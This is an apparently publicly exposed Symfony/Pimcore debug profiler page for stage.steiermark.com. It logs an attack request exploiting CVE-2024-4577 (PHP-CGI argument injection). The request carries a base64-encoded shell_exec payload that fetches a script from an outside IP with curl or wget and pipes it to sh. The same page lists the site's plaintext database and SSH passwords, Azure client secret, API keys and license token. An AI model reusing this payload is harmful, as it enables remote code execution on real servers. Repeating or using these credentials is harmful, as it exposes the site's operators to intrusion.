https://stage.steiermark.com/hello.world?%ADd%20allow_url_include%3D1%20%ADd%20auto_prepend_file%3Dphp%3A%2F%2Finput=

Method
GET
HTTP Status
404
IP
37.140.242.61
Profiled on
Token
6682ed

ErrorController

Request

GET Parameters

Key Value
�d_allow_url_include=1_�d_auto_prepend_file=php://input 
""

POST Parameters

Key Value
<?php_shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIHx8IHdnZXQgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA 
"=")); echo(md5("Hello CVE-2024-4577")); ?>"

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"error_controller"
_editmode 
false
_pimcore_context 
"default"
_stopwatch_token 
"b3fdfa"
exception 
Symfony\Component\HttpKernel\Exception\NotFoundHttpException {#2934
  #message: "No route found for "POST https://stage.steiermark.com/hello.world""
  #code: 0
  #file: "/home/steiermark/www/vendor/symfony/http-kernel/EventListener/RouterListener.php"
  #line: 135
  -previous: Symfony\Component\Routing\Exception\ResourceNotFoundException {#2750 …}
  -statusCode: 404
  -headers: []
  trace: {
    /home/steiermark/www/vendor/symfony/http-kernel/EventListener/RouterListener.php:135 {
      Symfony\Component\HttpKernel\EventListener\RouterListener->onKernelRequest(RequestEvent $event) …
      › 
      ›     throw new NotFoundHttpException($message, $e);
      › } catch (MethodNotAllowedException $e) {
    }
    /home/steiermark/www/vendor/symfony/event-dispatcher/Debug/WrappedListener.php:117 {
      Symfony\Component\EventDispatcher\Debug\WrappedListener->__invoke(object $event, string $eventName, EventDispatcherInterface $dispatcher): void …
      › 
      › ($this->optimizedListener ?? $this->listener)($event, $eventName, $dispatcher);
      › 
      arguments: {
        $event: Symfony\Component\HttpKernel\Event\RequestEvent {#444 …}
        ...: {
          "kernel.request"
          Symfony\Component\HttpKernel\Debug\TraceableEventDispatcher {#147 …}
        }
      }
    }
    /home/steiermark/www/vendor/symfony/event-dispatcher/EventDispatcher.php:230 {
      Symfony\Component\EventDispatcher\EventDispatcher->callListeners(iterable $listeners, string $eventName, object $event) …
      ›     }
      ›     $listener($event, $eventName, $this);
      › }
      arguments: {
        $event: Symfony\Component\HttpKernel\Event\RequestEvent {#444 …}
        $eventName: "kernel.request"
        $dispatcher: Symfony\Component\HttpKernel\Debug\TraceableEventDispatcher {#147 …}
      }
    }
    /home/steiermark/www/vendor/symfony/event-dispatcher/EventDispatcher.php:59 {
      Symfony\Component\EventDispatcher\EventDispatcher->dispatch(object $event, string $eventName = null): object …
      › if ($listeners) {
      ›     $this->callListeners($listeners, $eventName, $event);
      › }
      arguments: {
        $listeners: [ …37]
        $eventName: "kernel.request"
        $event: Symfony\Component\HttpKernel\Event\RequestEvent {#444 …}
      }
    }
    /home/steiermark/www/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php:154 {
      Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher->dispatch(object $event, string $eventName = null): object …
      › try {
      ›     $this->dispatcher->dispatch($event, $eventName);
      › } finally {
      arguments: {
        $event: Symfony\Component\HttpKernel\Event\RequestEvent {#444 …}
        $eventName: "kernel.request"
      }
    }
    /home/steiermark/www/vendor/symfony/http-kernel/HttpKernel.php:128 {
      Symfony\Component\HttpKernel\HttpKernel->handleRaw(Request $request, int $type = self::MAIN_REQUEST): Response …
      › $event = new RequestEvent($this, $request, $type);
      › $this->dispatcher->dispatch($event, KernelEvents::REQUEST);
      › 
      arguments: {
        $event: Symfony\Component\HttpKernel\Event\RequestEvent {#444 …}
        $eventName: "kernel.request"
      }
    }
    /home/steiermark/www/vendor/symfony/http-kernel/HttpKernel.php:74 {
      Symfony\Component\HttpKernel\HttpKernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true) …
      › try {
      ›     return $this->handleRaw($request, $type);
      › } catch (\Exception $e) {
      arguments: {
        $request: Symfony\Component\HttpFoundation\Request {#6 …}
        $type: 1
      }
    }
    /home/steiermark/www/vendor/symfony/http-kernel/Kernel.php:202 {
      Symfony\Component\HttpKernel\Kernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true) …
      › try {
      ›     return $this->getHttpKernel()->handle($request, $type, $catch);
      › } finally {
      arguments: {
        $request: Symfony\Component\HttpFoundation\Request {#6 …}
        $type: 1
        $catch: true
      }
    }
    /home/steiermark/www/public/index.php:35 {
      › 
      › $response = $kernel->handle($request);
      › $response->send();
      arguments: {
        $request: Symfony\Component\HttpFoundation\Request {#6 …}
      }
    }
  }
}
logger 
Symfony\Bridge\Monolog\Logger {#454 …8}

Request Headers

Header Value
accept 
"*/*"
authorization 
""
connection 
"keep-alive"
content-length 
"225"
content-type 
"application/x-www-form-urlencoded"
home 
"/home/steiermark/www/public"
host 
"stage.steiermark.com:443"
upgrade-insecure-requests 
"1"
user-agent 
"Custom-AsyncHttpClient"
x-php-ob-level 
"1"

Request Content

Raw

<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIHx8IHdnZXQgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA==")); echo(md5("Hello CVE-2024-4577")); ?>

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=UTF-8"
date 
"Sat, 16 Nov 2024 08:23:37 GMT"
x-debug-exception 
"No%20route%20found%20for%20%22POST%20https%3A%2F%2Fstage.steiermark.com%2Fhello.world%22"
x-debug-exception-file 
"%2Fhome%2Fsteiermark%2Fwww%2Fvendor%2Fsymfony%2Fhttp-kernel%2FEventListener%2FRouterListener.php:135"
x-debug-token 
"6682ed"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
ACCO_EXPORT_KEY 
"6rL7elVl0rhpK_AvtirFHJRmS2wc6piOnMQ_5LqW"
APP_CACHE 
"true"
APP_DEBUG 
"1"
APP_ENV 
"dev"
APP_SERVER 
"stage"
DB_HOST 
"localhost"
DB_NAME 
"steiermark"
DB_PASS 
"oGhie0Bo"
DB_PORT 
"3306"
DB_USER 
"steiermark"
ELEMENTS_AZURE_AUTH_CLIENT_ID 
"7315dcec-f145-493b-9322-670d4fe90771"
ELEMENTS_AZURE_AUTH_CLIENT_SECRET 
"c~_8Q~PW2iiOmMcwqK26pfv37IJb6mDHSrDhBbUW"
ELEMENTS_AZURE_AUTH_TENANT 
"fb3f3fb3-2a59-4379-95dc-3bd33320384f"
GENERAL_SOLUTIONS_API_KEY 
"el_qQ5Ffumc2bA6selL"
MESSENGER_TRANSPORT_ASSET_UPDATE 
"amqp://guest:guest@localhost:5672/%2f/pimcore_asset_update_tasks"
MESSENGER_TRANSPORT_DSN 
"amqp://guest:guest@localhost:5672/%2f/messages"
MESSENGER_TRANSPORT_PC 
"amqp://guest:guest@localhost:5672/%2f/pimcore_core"
MESSENGER_TRANSPORT_SB 
"amqp://guest:guest@localhost:5672/%2f/pimcore_search_backend"
MESSENGER_TRANSPORT_VIDEO 
"amqp://guest:guest@localhost:5672/%2f/pimcore_video_convert"
PIMCORE_ENTERPRISE_TOKEN 
"5e8096ecf5b296ecf671dd11c3f464729f3d1e6fde2352e3368869854e6fd32d"
SSH_HOST 
"steiermark2021.elements.live"
SSH_PASSWORD 
"eejoD6ee"
SSH_USER 
"steiermark"

Defined as regular env variables

Key Value
CONTENT_LENGTH 
"225"
CONTENT_TYPE 
"application/x-www-form-urlencoded"
CONTEXT_DOCUMENT_ROOT 
"/home/steiermark/www/public"
CONTEXT_PREFIX 
""
DOCUMENT_ROOT 
"/home/steiermark/www/public"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/home/steiermark/www/public"
HTTPS 
"on"
HTTP_ACCEPT 
"*/*"
HTTP_AUTHORIZATION 
""
HTTP_CONNECTION 
"keep-alive"
HTTP_HOME 
"/home/steiermark/www/public"
HTTP_HOST 
"stage.steiermark.com:443"
HTTP_UPGRADE_INSECURE_REQUESTS 
"1"
HTTP_USER_AGENT 
"Custom-AsyncHttpClient"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
PHP_SELF 
"/index.php"
QUERY_STRING 
"%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_HOME 
"/home/steiermark/www/public"
REDIRECT_HTTPS 
"on"
REDIRECT_HTTP_AUTHORIZATION 
""
REDIRECT_HTTP_HOME 
"/home/steiermark/www/public"
REDIRECT_QUERY_STRING 
"%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_SCRIPT_URI 
"https://stage.steiermark.com/hello.world"
REDIRECT_SCRIPT_URL 
"/hello.world"
REDIRECT_STATUS 
"200"
REDIRECT_URL 
"/hello.world"
REMOTE_ADDR 
"37.140.242.61"
REMOTE_PORT 
"59468"
REQUEST_METHOD 
"GET"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1731745417
REQUEST_TIME_FLOAT 
1731745417.7829
REQUEST_URI 
"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
SCRIPT_FILENAME 
"/home/steiermark/www/public/index.php"
SCRIPT_NAME 
"/index.php"
SCRIPT_URI 
"https://stage.steiermark.com/hello.world"
SCRIPT_URL 
"/hello.world"
SERVER_ADDR 
"144.76.182.158"
SERVER_ADMIN 
"[no address given]"
SERVER_NAME 
"stage.steiermark.com"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SIGNATURE 
""
SERVER_SOFTWARE 
"Apache"
SYMFONY_DOTENV_VARS 
"APP_ENV,SSH_USER,SSH_PASSWORD,SSH_HOST,DB_USER,DB_PASS,DB_HOST,DB_PORT,DB_NAME,PIMCORE_ENTERPRISE_TOKEN,MESSENGER_TRANSPORT_DSN,MESSENGER_TRANSPORT_PC,MESSENGER_TRANSPORT_SB,MESSENGER_TRANSPORT_VIDEO,MESSENGER_TRANSPORT_ASSET_UPDATE,APP_SERVER,APP_CACHE,ELEMENTS_AZURE_AUTH_CLIENT_ID,ELEMENTS_AZURE_AUTH_CLIENT_SECRET,ELEMENTS_AZURE_AUTH_TENANT,ACCO_EXPORT_KEY,APP_DEBUG,GENERAL_SOLUTIONS_API_KEY"
USER 
"steiermark"
proxy-nokeepalive 
"1"

Parent Request

Return to parent request (token = f28d7d)

Key Value
_editmode 
false
_pimcore_context 
"default"
_pimcore_frontend_request 
true
_remove_csp_headers 
true
_site 
Pimcore\Model\Site {#2538
  #dao: null
  #id: 6
  #domains: [
    "steiermark.com"
    "steiermark2021.elements.live"
    "stage.steiermark.com"
  ]
  #rootId: 1430
  #rootDocument: Pimcore\Model\Document\Page {#2537 …}
  #rootPath: null
  #mainDomain: "stage.steiermark.com"
  #errorDocument: "/steiermark.com/404"
  #localizedErrorDocuments: [
    "de" => ""
    "en" => ""
    "hu" => ""
    "cs" => ""
    "pl" => ""
    "nl" => ""
    "it" => ""
    "sk" => ""
  ]
  #redirectToMainDomain: false
  #creationDate: 1617285660
  #modificationDate: 1727854189
  +"____pimcore_cache_item__": "site_domain_318484d872330ed624d72c281184a2b0"
  id: 6
  domains: [
    "steiermark.com"
    "steiermark2021.elements.live"
    "stage.steiermark.com"
  ]
  rootId: 1430
  rootDocument: Pimcore\Model\Document\Page {#2537 …}
  rootPath: null
  mainDomain: "stage.steiermark.com"
  errorDocument: "/steiermark.com/404"
  localizedErrorDocuments: [
    "de" => ""
    "en" => ""
    "hu" => ""
    "cs" => ""
    "pl" => ""
    "nl" => ""
    "it" => ""
    "sk" => ""
  ]
  redirectToMainDomain: false
  creationDate: 1617285660
  modificationDate: 1727854189
}
_site_path 
"/steiermark.com/hello.world"
_stopwatch_token 
"0bee35"